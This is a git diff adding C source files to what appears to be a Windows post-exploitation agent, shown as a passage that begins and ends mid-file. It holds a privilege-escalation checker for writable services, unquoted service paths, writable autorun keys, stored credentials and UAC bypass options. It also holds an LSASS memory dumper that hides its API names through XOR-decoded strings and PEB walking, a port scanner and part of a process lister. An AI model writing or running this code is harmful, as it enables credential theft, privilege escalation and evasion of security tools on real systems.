+ if (!path || !path[0]) { bin[0] = 0; return; }
+ if (path[0] == '"') {
+ const char *e = strchr(path + 1, '"');
+ size_t l = e ? (size_t)(e - path - 1) : strlen(path + 1);
+ if (l >= bin_sz) l = bin_sz - 1;
+ strncpy(bin, path + 1, l); bin[l] = 0;
+ } else {
+ const char *sp = strchr(path, ' ');
+ size_t l = sp ? (size_t)(sp - path) : strlen(path);
+ if (l >= bin_sz) l = bin_sz - 1;
+ strncpy(bin, path, l); bin[l] = 0;
+ }
+}
+
+static void _chk_services(char *out, size_t *off, size_t sz, HANDLE himp)
+{
+ const adv_api_t *adv = adv_get();
+ if (!adv->OpenSCManagerA || !adv->EnumServicesStatusExA ||
+ !adv->OpenServiceA || !adv->QueryServiceConfigA ||
+ !adv->CloseServiceHandle)
+ return;
+
+ SC_HANDLE scm = adv->OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
+ if (!scm) { APPF(out, off, sz, "[svc] SCM open failed: %lu\n", GetLastError()); return; }
+
+ DWORD bytes = 0, count = 0, resume = 0;
+ adv->EnumServicesStatusExA(scm, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
+ SERVICE_STATE_ALL, NULL, 0, &bytes, &count, &resume, NULL);
+ BYTE *buf = (BYTE *)malloc(bytes);
+ if (!buf) { adv->CloseServiceHandle(scm); return; }
+
+ int found_unq = 0, found_bin = 0;
+
+ if (adv->EnumServicesStatusExA(scm, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
+ SERVICE_STATE_ALL, buf, bytes, &bytes, &count, &resume, NULL))
+ {
+ ENUM_SERVICE_STATUS_PROCESS *svcs = (ENUM_SERVICE_STATUS_PROCESS *)buf;
+ for (DWORD i = 0; i < count && *off < sz - 1; i++) {
+ SC_HANDLE svc = adv->OpenServiceA(scm, svcs[i].lpServiceName,
+ SERVICE_QUERY_CONFIG);
+ if (!svc) continue;
+ DWORD cfg_sz = 0;
+ adv->QueryServiceConfigA(svc, NULL, 0, &cfg_sz);
+ QUERY_SERVICE_CONFIGA *cfg = (QUERY_SERVICE_CONFIGA *)malloc(cfg_sz);
+ if (!cfg) { adv->CloseServiceHandle(svc); continue; }
+
+ if (adv->QueryServiceConfigA(svc, cfg, cfg_sz, &cfg_sz)) {
+ const char *raw = cfg->lpBinaryPathName;
+ if (raw && raw[0]) {
+ char bin[MAX_PATH] = {0};
+ _extract_bin(raw, bin, sizeof(bin));
+
+ /* check writable service binary */
+ if (bin[0] && GetFileAttributesA(bin) != INVALID_FILE_ATTRIBUTES
+ && _can_write(bin, himp)) {
+ const char *acct = cfg->lpServiceStartName
+ ? cfg->lpServiceStartName : "?";
+ APPF(out, off, sz, "[svc-write] %s account=%s\n binary: %s\n",
+ svcs[i].lpServiceName, acct, bin);
+ found_bin = 1;
+ }
+
+ /* check unquoted path with spaces */
+ if (raw[0] != '"' && strchr(raw, ' ')) {
+ /* enumerate hijack candidates: split on spaces */
+ char work[MAX_PATH * 2];
+ strncpy(work, raw, sizeof(work) - 1);
+ work[sizeof(work) - 1] = 0;
+ char *p = work;
+ /* skip past first token that has no space (e.g. "C:\") */
+ while (*p) {
+ char *sp = strchr(p, ' ');
+ if (!sp) break;
+ *sp = 0; /* temp null at space */
+ /* candidate exe = work + ".exe" */
+ char cand[MAX_PATH + 4];
+ snprintf(cand, sizeof(cand), "%s.exe", work);
+ /* check parent dir writable (to drop the exe) */
+ char parent[MAX_PATH];
+ strncpy(parent, work, sizeof(parent) - 1);
+ char *sl = strrchr(parent, '\\');
+ if (sl) { *sl = 0;
+ if (GetFileAttributesA(parent) != INVALID_FILE_ATTRIBUTES
+ && _can_write(parent, himp)) {
+ APPF(out, off, sz,
+ "[unquoted] %s\n drop: %s\n dir writable: %s\n",
+ svcs[i].lpServiceName, cand, parent);
+ found_unq = 1;
+ }
+ }
+ *sp = ' '; /* restore */
+ p = sp + 1;
+ }
+ }
+ }
+ }
+ free(cfg);
+ adv->CloseServiceHandle(svc);
+ }
+ }
+ free(buf);
+ adv->CloseServiceHandle(scm);
+
+ if (!found_bin) APPF(out, off, sz, "[svc-write] none writable\n");
+ if (!found_unq) APPF(out, off, sz, "[unquoted] none exploitable\n");
+}
+
+/* ------------------------------------------------------------------ */
+/* 5. Writable autorun paths (HKLM/HKCU Run keys) */
+/* ------------------------------------------------------------------ */
+
+static void _chk_autoruns(char *out, size_t *off, size_t sz, HANDLE himp)
+{
+ static const char *keys[] = {
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
+ "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
+ NULL
+ };
+ HKEY roots[2] = { HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER };
+ const char *rnames[2] = { "HKLM", "HKCU" };
+ int found = 0;
+
+ for (int r = 0; r < 2; r++) {
+ for (int k = 0; keys[k] && *off < sz - 1; k++) {
+ HKEY hk = NULL;
+ if (RegOpenKeyExA(roots[r], keys[k], 0, KEY_READ, &hk) != ERROR_SUCCESS)
+ continue;
+ DWORD idx = 0;
+ char vname[256], vdata[1024];
+ DWORD vn, vd, vtype;
+ while (1) {
+ vn = sizeof(vname); vd = sizeof(vdata);
+ if (RegEnumValueA(hk, idx++, vname, &vn, NULL,
+ &vtype, (LPBYTE)vdata, &vd) != ERROR_SUCCESS) break;
+ if (vtype != REG_SZ && vtype != REG_EXPAND_SZ) continue;
+ char bin[MAX_PATH] = {0};
+ _extract_bin(vdata, bin, sizeof(bin));
+ if (bin[0] && GetFileAttributesA(bin) != INVALID_FILE_ATTRIBUTES
+ && _can_write(bin, himp)) {
+ /* HKCU = persistence only (runs as current user)
+ HKLM = LPE vector (runs at system startup / all users) */
+ const char *tag = (r == 0) ? "[autorun-lpe]" : "[autorun-persist]";
+ APPF(out, off, sz, "%s %s\\%s → %s: %s\n",
+ tag, rnames[r], keys[k], vname, bin);
+ found = 1;
+ }
+ }
+ RegCloseKey(hk);
+ }
+ }
+ if (!found) APPF(out, off, sz, "[autorun] none writable\n");
+}
+
+/* ------------------------------------------------------------------ */
+/* 6. Stored credentials (CredEnumerate — fully dynamic) */
+/* ------------------------------------------------------------------ */
+
+static void _chk_creds(char *out, size_t *off, size_t sz)
+{
+ char _da[13];
+ EVS_D(_da, EVS_dll_advapi32);
+ HMODULE had = _peb_module(_da);
+ SecureZeroMemory(_da, sizeof(_da));
+ if (!had) return;
+ char s_ce[15], s_cf[9];
+ EVS_D(s_ce, EVS_fn_CredEnumerateA);
+ EVS_D(s_cf, EVS_fn_CredFree);
+ fn_CredEnum_t pCE = (fn_CredEnum_t)(void*)GetProcAddress(had, s_ce);
+ SecureZeroMemory(s_ce, sizeof(s_ce));
+ fn_CredFree_t pCF = (fn_CredFree_t)(void*)GetProcAddress(had, s_cf);
+ SecureZeroMemory(s_cf, sizeof(s_cf));
+ if (!pCE || !pCF) return;
+
+ DWORD count = 0; CRED_A **creds = NULL;
+ if (!pCE(NULL, 0, &count, (void***)&creds)) {
+ APPF(out, off, sz, "[creds] none (or access denied)\n");
+ return;
+ }
+ if (count == 0) {
+ APPF(out, off, sz, "[creds] vault empty\n");
+ } else {
+ APPF(out, off, sz, "[creds] %lu entry/entries:\n", count);
+ for (DWORD i = 0; i < count && *off < sz - 1; i++) {
+ CRED_A *c = creds[i];
+ /* type 1=generic 2=domain_password 3=domain_cert */
+ APPF(out, off, sz, " [%lu] target=%-40s user=%s blob=%lu bytes\n",
+ c->Type,
+ c->TargetName ? c->TargetName : "(null)",
+ c->UserName ? c->UserName : "(null)",
+ c->CredentialBlobSize);
+ }
+ }
+ pCF(creds);
+}
+
+/* ------------------------------------------------------------------ */
+/* 0. UAC limited-admin token detection */
+/* TokenElevationTypeLimited = user is local admin running filtered */
+/* medium-IL token → UAC bypass + token steal → SYSTEM possible. */
+/* ------------------------------------------------------------------ */
+
+static void _chk_uac_limited(char *out, size_t *off, size_t sz)
+{
+ HANDLE htok = NULL;
+ { const adv_api_t *_a = adv_get();
+ if (!_a->OpenProcessToken || !_a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok)) return; }
+
+ TOKEN_ELEVATION_TYPE etype = TokenElevationTypeDefault;
+ DWORD cb = sizeof(etype);
+ GetTokenInformation(htok, TokenElevationType, &etype, cb, &cb);
+
+ /* Integrity level */
+ DWORD need = 0;
+ GetTokenInformation(htok, TokenIntegrityLevel, NULL, 0, &need);
+ TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(need);
+ DWORD il_rid = 0;
+ if (tml && GetTokenInformation(htok, TokenIntegrityLevel, tml, need, &need))
+ il_rid = *GetSidSubAuthority(tml->Label.Sid,
+ *GetSidSubAuthorityCount(tml->Label.Sid) - 1);
+ free(tml);
+ CloseHandle(htok);
+
+ const char *il_str = il_rid >= 0x4000 ? "SYSTEM"
+ : il_rid >= 0x3000 ? "HIGH"
+ : il_rid >= 0x2000 ? "MEDIUM"
+ : il_rid >= 0x1000 ? "LOW"
+ : "UNTRUSTED";
+
+ if (etype == TokenElevationTypeLimited) {
+ APPF(out, off, sz,
+ "[UAC] VULNERABLE - limited admin token (IL=%s)\n"
+ " → run: pe (UAC bypass + token steal → SYSTEM)\n"
+ " methods: COM moniker / fodhelper / sdclt (auto-fallback)\n",
+ il_str);
+ } else if (etype == TokenElevationTypeFull) {
+ APPF(out, off, sz,
+ "[UAC] already elevated (IL=%s) → run: gs\n", il_str);
+ } else {
+ APPF(out, off, sz,
+ "[UAC] default token (IL=%s) - not local admin, UAC bypass unavailable\n",
+ il_str);
+ }
+}
+
+/* ------------------------------------------------------------------ */
+/* Entry point */
+/* ------------------------------------------------------------------ */
+
+int cmd_lpe_check(const char *args, char *out, size_t sz)
+{
+ (void)args;
+ memset(out, 0, sz);
+ size_t off = 0;
+
+ APPF(out, &off, sz, "=== LPE CHECK ===\n");
+
+ HANDLE himp = _dup_imp();
+
+ _chk_uac_limited(out, &off, sz);
+ _chk_seimpersonate(out, &off, sz);
+ _chk_aie(out, &off, sz);
+ _chk_services(out, &off, sz, himp);
+ _chk_autoruns(out, &off, sz, himp);
+ _chk_creds(out, &off, sz);
+
+ if (himp) CloseHandle(himp);
+ return 0;
+}
diff --git a/agent/src/commands/lsass.c b/agent/src/commands/lsass.c
new file mode 100644
index 0000000..c9582de
--- /dev/null
+++ b/agent/src/commands/lsass.c
@@ -0,0 +1,399 @@
+#include "commands.h"
+#include "adv_lazy.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include
+#include
+#include
+#include
+#include
+#include
+
+#ifndef NTSTATUS
+typedef LONG NTSTATUS;
+#endif
+
+/* NtReadVirtualMemory — removes ReadProcessMemory from IAT */
+typedef NTSTATUS (NTAPI *_lNtRVM_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
+static _lNtRVM_t _lsass_nrvm(void) {
+ static _lNtRVM_t fn = NULL;
+ if (!fn) {
+ char fs[24], ns[12]; volatile unsigned char k = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_NtReadVirtualMemory); i++) fs[i] = (char)(EVS_fn_NtReadVirtualMemory[i] ^ k);
+ fs[sizeof(EVS_fn_NtReadVirtualMemory)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++) ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
+ ns[sizeof(EVS_dll_ntdll)] = '\0';
+ HMODULE m = _peb_module(ns); SecureZeroMemory(ns, sizeof(ns));
+ if (m) fn = (_lNtRVM_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn;
+}
+
+/* minidump structures, packed */
+#pragma pack(push, 4)
+
+typedef struct { uint32_t Sig; uint16_t Ver; uint16_t ImplVer;
+ uint32_t N; uint32_t DirRva; uint32_t Csum;
+ uint32_t Ts; uint64_t Flags; } md_hdr_t; /* 32 */
+
+typedef struct { uint32_t Sz; uint32_t Rva; } md_loc_t; /* 8 */
+typedef struct { uint32_t Type; md_loc_t Loc; } md_dir_t; /* 12 */
+
+typedef struct {
+ uint16_t Arch; uint16_t Level; uint16_t Rev;
+ uint8_t NCpu; uint8_t ProdType;
+ uint32_t Major; uint32_t Minor; uint32_t Build;
+ uint32_t Platform; uint32_t CsdRva;
+ uint16_t Suite; uint16_t Rsv2;
+ uint64_t CpuFeatures[2];
+} md_sysinfo_t; /* 48 */
+
+typedef struct {
+ uint64_t Base; uint32_t Size; uint32_t Chk;
+ uint32_t Ts; uint32_t NameRva;
+ uint8_t VerInfo[52]; /* VS_FIXEDFILEINFO — zeroed */
+ md_loc_t CvRec; md_loc_t MiscRec;
+ uint64_t Rsv0; uint64_t Rsv1;
+} md_mod_t; /* 108 */
+
+typedef struct { uint64_t Start; uint64_t DataSz; } md_range_t; /* 16 */
+typedef struct { uint64_t N; uint64_t BaseRva; } md_mem64_t; /* 16 */
+
+#pragma pack(pop)
+
+#define MD_STREAM_SYSINFO 7
+#define MD_STREAM_MODLIST 4
+#define MD_STREAM_MEM64 9
+
+static DWORD _find_lsass(void)
+{
+ char name[12] = {0};
+ { volatile unsigned char _k = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_str_lsass_exe); i++)
+ name[i] = (char)(EVS_str_lsass_exe[i] ^ _k); }
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (snap == INVALID_HANDLE_VALUE) return 0;
+ PROCESSENTRY32 pe = {sizeof(pe)};
+ DWORD pid = 0;
+ if (Process32First(snap, &pe)) do {
+ if (_stricmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
+ } while (Process32Next(snap, &pe));
+ CloseHandle(snap);
+ SecureZeroMemory(name, sizeof(name));
+ return pid;
+}
+
+static int _is_readable(DWORD prot)
+{
+ DWORD p = prot & 0xFF;
+ return p == PAGE_READONLY || p == PAGE_READWRITE ||
+ p == PAGE_EXECUTE_READ || p == PAGE_EXECUTE_READWRITE ||
+ p == PAGE_EXECUTE_WRITECOPY || p == PAGE_WRITECOPY;
+}
+
+static BOOL _wf(HANDLE hf, const void *d, DWORD sz)
+{
+ DWORD w;
+ return WriteFile(hf, d, sz, &w, NULL) && w == sz;
+}
+
+/* ===== Module collection ===== */
+
+#define MAX_MODS 512
+
+typedef struct {
+ uint64_t base;
+ uint32_t size;
+ uint32_t csum;
+ uint32_t ts;
+ WCHAR path[MAX_PATH];
+ uint32_t path_bytes; /* byte length of path (no null) */
+} lsmod_t;
+
+static int _collect_mods(DWORD pid, HANDLE hp, lsmod_t *mods, int *out)
+{
+ HANDLE snap = CreateToolhelp32Snapshot(
+ TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
+ if (snap == INVALID_HANDLE_VALUE) return -1;
+
+ int n = 0;
+ MODULEENTRY32 me = {sizeof(me)};
+ if (Module32First(snap, &me)) do {
+ if (n >= MAX_MODS) break;
+ lsmod_t *m = &mods[n++];
+ m->base = (uint64_t)(uintptr_t)me.modBaseAddr;
+ m->size = me.modBaseSize;
+ m->csum = 0;
+ m->ts = 0;
+
+ /* Read PE header for precise timestamps + SizeOfImage */
+ BYTE hdr[0x400];
+ SIZE_T rd = 0;
+ { _lNtRVM_t _r = _lsass_nrvm();
+ if (_r) _r(hp, me.modBaseAddr, hdr, sizeof(hdr), &rd); }
+ if (rd >= 0x40) {
+ IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)hdr;
+ if (dos->e_magic == IMAGE_DOS_SIGNATURE) {
+ DWORD ne_off = (DWORD)dos->e_lfanew;
+ if (ne_off + sizeof(IMAGE_NT_HEADERS) <= rd) {
+ IMAGE_NT_HEADERS *nt =
+ (IMAGE_NT_HEADERS *)(void *)(hdr + ne_off);
+ if (nt->Signature == IMAGE_NT_SIGNATURE) {
+ m->ts = nt->FileHeader.TimeDateStamp;
+ m->csum = nt->OptionalHeader.CheckSum;
+ m->size = nt->OptionalHeader.SizeOfImage;
+ }
+ }
+ }
+ }
+
+ int wlen = MultiByteToWideChar(CP_ACP, 0, me.szExePath, -1,
+ m->path, MAX_PATH);
+ m->path_bytes = (wlen > 1) ? (uint32_t)((wlen - 1) * 2) : 0;
+
+ } while (Module32Next(snap, &me));
+
+ CloseHandle(snap);
+ *out = n;
+ return 0;
+}
+
+/* ===== Memory region collection ===== */
+
+#define MAX_REGS 8192
+
+typedef struct { uint64_t start; uint64_t size; } mreg_t;
+
+static int _collect_regs(HANDLE hp, mreg_t *regs, int *out)
+{
+ int n = 0;
+ MEMORY_BASIC_INFORMATION mbi;
+ ULONG_PTR addr = 0;
+
+ while (VirtualQueryEx(hp, (LPCVOID)addr, &mbi, sizeof(mbi)) == sizeof(mbi)) {
+ addr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
+ if (mbi.State != MEM_COMMIT) continue;
+ if (mbi.Protect & PAGE_GUARD) continue;
+ if (!_is_readable(mbi.Protect)) continue;
+ if (n >= MAX_REGS) break;
+ regs[n].start = (uint64_t)(uintptr_t)mbi.BaseAddress;
+ regs[n].size = (uint64_t)mbi.RegionSize;
+ n++;
+ }
+ *out = n;
+ return 0;
+}
+
+/* ===== Main dump function ===== */
+
+int cmd_lsassdump(const char *out_path, char *output_buf, size_t output_size)
+{
+ char dump_path[MAX_PATH + 32];
+ if (out_path && out_path[0]) {
+ strncpy(dump_path, out_path, sizeof(dump_path) - 1);
+ dump_path[sizeof(dump_path) - 1] = '\0';
+ } else {
+ char tmp[MAX_PATH];
+ GetTempPathA(sizeof(tmp), tmp);
+ snprintf(dump_path, sizeof(dump_path), "%s%08lx.tmp", tmp, (unsigned long)GetTickCount());
+ }
+
+ /* SeDebugPrivilege LUID={20,0} — constant on all NT */
+ {
+ const adv_api_t *_a = adv_get();
+ HANDLE _tok = NULL;
+ if (_a->OpenProcessToken && _a->AdjustTokenPrivileges &&
+ _a->OpenProcessToken(GetCurrentProcess(),
+ TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &_tok)) {
+ TOKEN_PRIVILEGES _tp;
+ _tp.PrivilegeCount = 1;
+ _tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ _tp.Privileges[0].Luid.LowPart = 20; _tp.Privileges[0].Luid.HighPart = 0;
+ _a->AdjustTokenPrivileges(_tok, FALSE, &_tp, 0, NULL, NULL);
+ CloseHandle(_tok);
+ }
+ }
+
+ DWORD pid = _find_lsass();
+ if (!pid) {
+ snprintf(output_buf, output_size,
+ "[ld] target not found\n");
+ return -1;
+ }
+
+ HANDLE hp = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
+ FALSE, pid);
+ if (!hp) {
+ snprintf(output_buf, output_size,
+ "[ld] OpenProcess(%lu) failed: %lu\n",
+ (unsigned long)pid, GetLastError());
+ return -1;
+ }
+
+ lsmod_t *mods = (lsmod_t *)calloc(MAX_MODS, sizeof(lsmod_t));
+ mreg_t *regs = (mreg_t *)calloc(MAX_REGS, sizeof(mreg_t));
+ if (!mods || !regs) {
+ free(mods); free(regs); CloseHandle(hp); return -1;
+ }
+
+ int n_mods = 0, n_regs = 0;
+ _collect_mods(pid, hp, mods, &n_mods);
+ _collect_regs(hp, regs, &n_regs);
+
+ /* Total bytes for all MINIDUMP_STRING entries (4-byte aligned) */
+ uint32_t str_bytes = 0;
+ for (int i = 0; i < n_mods; i++) {
+ uint32_t raw = 4 + mods[i].path_bytes + 2; /* len(u32)+wchars+null */
+ str_bytes += (raw + 3) & ~3u;
+ }
+
+ /*
+ * File layout:
+ * [0] md_hdr_t 32
+ * [32] md_dir_t × 3 36
+ * [68] md_sysinfo_t 48
+ * [116] uint32 n_mods 4
+ * [120] md_mod_t × n_mods n*108
+ * [+str] MINIDUMP_STRINGs str_bytes
+ * [+m64h] md_mem64_t 16
+ * [+ranges] md_range_t × n_regs r*16
+ * [+data] raw memory pages (BaseRva here)
+ */
+ uint32_t off_sys = 68;
+ uint32_t off_mlist = 116;
+ uint32_t off_mods = 120;
+ uint32_t off_strs = off_mods + (uint32_t)n_mods * 108;
+ uint32_t off_m64 = off_strs + str_bytes;
+ uint32_t off_ranges = off_m64 + 16;
+ uint32_t off_data = off_ranges + (uint32_t)n_regs * 16;
+
+ HANDLE hf = CreateFileA(dump_path, GENERIC_WRITE, 0, NULL,
+ CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (hf == INVALID_HANDLE_VALUE) {
+ free(mods); free(regs); CloseHandle(hp);
+ snprintf(output_buf, output_size,
+ "[ld] CreateFile(%s) failed: %lu\n",
+ dump_path, GetLastError());
+ return -1;
+ }
+
+ /* Header */
+ md_hdr_t hdr = {0};
+ hdr.Sig = 0x504d444dUL; /* 'MDMP' */
+ hdr.Ver = 0xA793;
+ hdr.N = 3;
+ hdr.DirRva = 32;
+ hdr.Ts = GetTickCount();
+ hdr.Flags = 2; /* MiniDumpWithFullMemory */
+ _wf(hf, &hdr, sizeof(hdr));
+
+ /* Directory (3 streams) */
+ md_dir_t dirs[3] = {
+ {MD_STREAM_SYSINFO,
+ {sizeof(md_sysinfo_t), off_sys}},
+ {MD_STREAM_MODLIST,
+ {4 + (uint32_t)n_mods * 108 + str_bytes, off_mlist}},
+ {MD_STREAM_MEM64,
+ {16 + (uint32_t)n_regs * 16, off_m64}},
+ };
+ _wf(hf, dirs, sizeof(dirs));
+
+ /* SystemInfo */
+ md_sysinfo_t si = {0};
+ si.Arch = 9; /* AMD64 */
+ si.NCpu = 1;
+ si.Platform = 2; /* VER_PLATFORM_WIN32_NT */
+ OSVERSIONINFOA osi = {sizeof(osi)};
+ GetVersionExA(&osi);
+ si.Major = osi.dwMajorVersion;
+ si.Minor = osi.dwMinorVersion;
+ si.Build = osi.dwBuildNumber;
+ _wf(hf, &si, sizeof(si));
+
+ /* ModuleList: count */
+ uint32_t nm = (uint32_t)n_mods;
+ _wf(hf, &nm, 4);
+
+ /* ModuleList: entries */
+ uint32_t name_rva = off_strs;
+ for (int i = 0; i < n_mods; i++) {
+ md_mod_t m = {0};
+ m.Base = mods[i].base;
+ m.Size = mods[i].size;
+ m.Chk = mods[i].csum;
+ m.Ts = mods[i].ts;
+ m.NameRva = name_rva;
+ _wf(hf, &m, sizeof(m));
+ uint32_t raw = 4 + mods[i].path_bytes + 2;
+ name_rva += (raw + 3) & ~3u;
+ }
+
+ /* ModuleList: MINIDUMP_STRING entries */
+ for (int i = 0; i < n_mods; i++) {
+ uint32_t len = mods[i].path_bytes;
+ _wf(hf, &len, 4);
+ _wf(hf, mods[i].path, len + 2); /* +2: null wchar */
+ uint32_t raw = 4 + len + 2;
+ uint32_t padded = (raw + 3) & ~3u;
+ if (padded > raw) {
+ uint32_t pad = 0;
+ _wf(hf, &pad, padded - raw);
+ }
+ }
+
+ /* Memory64List: header */
+ md_mem64_t m64 = {(uint64_t)n_regs, (uint64_t)off_data};
+ _wf(hf, &m64, sizeof(m64));
+
+ /* Memory64List: descriptors */
+ for (int i = 0; i < n_regs; i++) {
+ md_range_t r = {regs[i].start, regs[i].size};
+ _wf(hf, &r, sizeof(r));
+ }
+
+ /* Memory data — read LSASS pages and write sequentially */
+ BYTE *rbuf = (BYTE *)malloc(0x10000);
+ if (rbuf) {
+ for (int i = 0; i < n_regs; i++) {
+ uint64_t left = regs[i].size;
+ ULONG_PTR cursor = (ULONG_PTR)regs[i].start;
+ while (left > 0) {
+ SIZE_T chunk = (SIZE_T)(left > 0x10000 ? 0x10000 : left);
+ SIZE_T rd = 0;
+ { _lNtRVM_t _r = _lsass_nrvm();
+ if (_r) _r(hp, (PVOID)cursor, rbuf, chunk, &rd); }
+ if (!rd) {
+ memset(rbuf, 0, chunk);
+ rd = chunk;
+ }
+ _wf(hf, rbuf, (DWORD)rd);
+ cursor += rd;
+ left -= rd;
+ }
+ }
+ free(rbuf);
+ }
+
+ CloseHandle(hf);
+ CloseHandle(hp);
+ free(mods);
+ free(regs);
+
+ LARGE_INTEGER fsz = {0};
+ HANDLE hf2 = CreateFileA(dump_path, GENERIC_READ, FILE_SHARE_READ,
+ NULL, OPEN_EXISTING, 0, NULL);
+ if (hf2 != INVALID_HANDLE_VALUE) {
+ GetFileSizeEx(hf2, &fsz);
+ CloseHandle(hf2);
+ }
+
+ snprintf(output_buf, output_size,
+ "[ld] ok pid=%lu mods=%d regions=%d\n"
+ " path: %s (%llu bytes)\n"
+ " download: download %s\n",
+ (unsigned long)pid, n_mods, n_regs,
+ dump_path, (unsigned long long)fsz.QuadPart,
+ dump_path);
+ return 0;
+}
diff --git a/agent/src/commands/portscan.c b/agent/src/commands/portscan.c
new file mode 100644
index 0000000..959ee1c
--- /dev/null
+++ b/agent/src/commands/portscan.c
@@ -0,0 +1,143 @@
+#ifndef FD_SETSIZE
+#define FD_SETSIZE 512
+#endif
+#include "commands.h"
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define SCAN_BATCH 256
+
+static int _scan_batch(const char *host,
+ unsigned short *ports, int nports,
+ int timeout_ms,
+ char *out, size_t outsz, size_t *pos)
+{
+ SOCKET socks[SCAN_BATCH];
+ int valid[SCAN_BATCH];
+ struct addrinfo *res[SCAN_BATCH];
+
+ for (int i = 0; i < nports; i++) {
+ socks[i] = INVALID_SOCKET;
+ valid[i] = 0;
+ res[i] = NULL;
+ }
+
+ /* start non-blocking connects */
+ for (int i = 0; i < nports; i++) {
+ char portstr[8];
+ snprintf(portstr, sizeof(portstr), "%u", ports[i]);
+
+ struct addrinfo hints;
+ memset(&hints, 0, sizeof(hints));
+ hints.ai_family = AF_UNSPEC;
+ hints.ai_socktype = SOCK_STREAM;
+
+ if (getaddrinfo(host, portstr, &hints, &res[i]) != 0 || !res[i])
+ continue;
+
+ socks[i] = socket(res[i]->ai_family, SOCK_STREAM, IPPROTO_TCP);
+ if (socks[i] == INVALID_SOCKET) {
+ freeaddrinfo(res[i]); res[i] = NULL;
+ continue;
+ }
+
+ /* Non-blocking */
+ u_long nb = 1;
+ ioctlsocket(socks[i], FIONBIO, &nb);
+
+ connect(socks[i], res[i]->ai_addr, (int)res[i]->ai_addrlen);
+ /* WSAEWOULDBLOCK expected */
+ valid[i] = 1;
+ }
+
+ /* wait for results */
+ struct timeval tv;
+ tv.tv_sec = timeout_ms / 1000;
+ tv.tv_usec = (timeout_ms % 1000) * 1000;
+
+ fd_set wset, eset;
+ FD_ZERO(&wset);
+ FD_ZERO(&eset);
+
+ for (int i = 0; i < nports; i++) {
+ if (valid[i] && socks[i] != INVALID_SOCKET) {
+ FD_SET(socks[i], &wset);
+ FD_SET(socks[i], &eset);
+ }
+ }
+
+ select(0, NULL, &wset, &eset, &tv);
+
+ int found = 0;
+ for (int i = 0; i < nports; i++) {
+ if (!valid[i] || socks[i] == INVALID_SOCKET) goto cleanup;
+
+ if (FD_ISSET(socks[i], &wset)) {
+ /* Check SO_ERROR — 0 means connected */
+ int err = 0;
+ int elen = sizeof(err);
+ getsockopt(socks[i], SOL_SOCKET, SO_ERROR,
+ (char *)&err, &elen);
+ if (err == 0) {
+ int n = snprintf(out + *pos, outsz - *pos,
+ " open %s:%u\n", host, ports[i]);
+ if (n > 0 && (size_t)n < outsz - *pos) *pos += (size_t)n;
+ found++;
+ }
+ }
+
+ cleanup:
+ if (socks[i] != INVALID_SOCKET) {
+ closesocket(socks[i]);
+ socks[i] = INVALID_SOCKET;
+ }
+ if (res[i]) { freeaddrinfo(res[i]); res[i] = NULL; }
+ }
+ return found;
+}
+
+int cmd_portscan(const char *host, unsigned short start, unsigned short end,
+ int timeout_ms, char *output_buf, size_t output_size)
+{
+ WSADATA wsa;
+ WSAStartup(MAKEWORD(2, 2), &wsa);
+
+ if (!host || !host[0] || start > end) {
+ snprintf(output_buf, output_size,
+ "[portscan] usage: portscan - [timeout_ms]\n");
+ return -1;
+ }
+
+ if (timeout_ms <= 0) timeout_ms = 500;
+
+ size_t pos = 0;
+ int n = snprintf(output_buf + pos, output_size - pos,
+ "[portscan] %s %u-%u timeout=%dms\n",
+ host, start, end, timeout_ms);
+ if (n > 0) pos += (size_t)n;
+
+ unsigned short batch[SCAN_BATCH];
+ int bsz = 0;
+ int total = 0;
+
+ for (unsigned int p = start; p <= (unsigned int)end; p++) {
+ batch[bsz++] = (unsigned short)p;
+ if (bsz == SCAN_BATCH || p == (unsigned int)end) {
+ total += _scan_batch(host, batch, bsz, timeout_ms,
+ output_buf, output_size, &pos);
+ bsz = 0;
+ /* Bail if output nearly full */
+ if (pos + 256 >= output_size) break;
+ }
+ }
+
+ n = snprintf(output_buf + pos, output_size - pos,
+ "[portscan] done %d open\n", total);
+ if (n > 0 && (size_t)n < output_size - pos) pos += (size_t)n;
+
+ return 0;
+}
diff --git a/agent/src/commands/ps.c b/agent/src/commands/ps.c
new file mode 100644
index 0000000..ce7d919
--- /dev/null
+++ b/agent/src/commands/ps.c
@@ -0,0 +1,115 @@
+#include "commands.h"
+#include "adv_lazy.h"
+#include "peb_walk.h"
+#include "evs_strings.h"
+#include
+#include
+#include
+#include
+#include
+
+/* list running processes with PID, PPID, arch and integrity */
+
+typedef BOOL (WINAPI *IsWow64Process_t)(HANDLE, PBOOL);
+static IsWow64Process_t s_wow64 = NULL;
+
+static void _init_wow64(void)
+{
+ if (s_wow64) return;
+ char _dn[13], _fn[16];
+ EVS_D(_dn, EVS_dll_kernel32); EVS_D(_fn, EVS_fn_IsWow64Process);
+ HMODULE k32 = _peb_module(_dn); SecureZeroMemory(_dn, sizeof(_dn));
+ if (k32) s_wow64 = (IsWow64Process_t)(void *)GetProcAddress(k32, _fn);
+ SecureZeroMemory(_fn, sizeof(_fn));
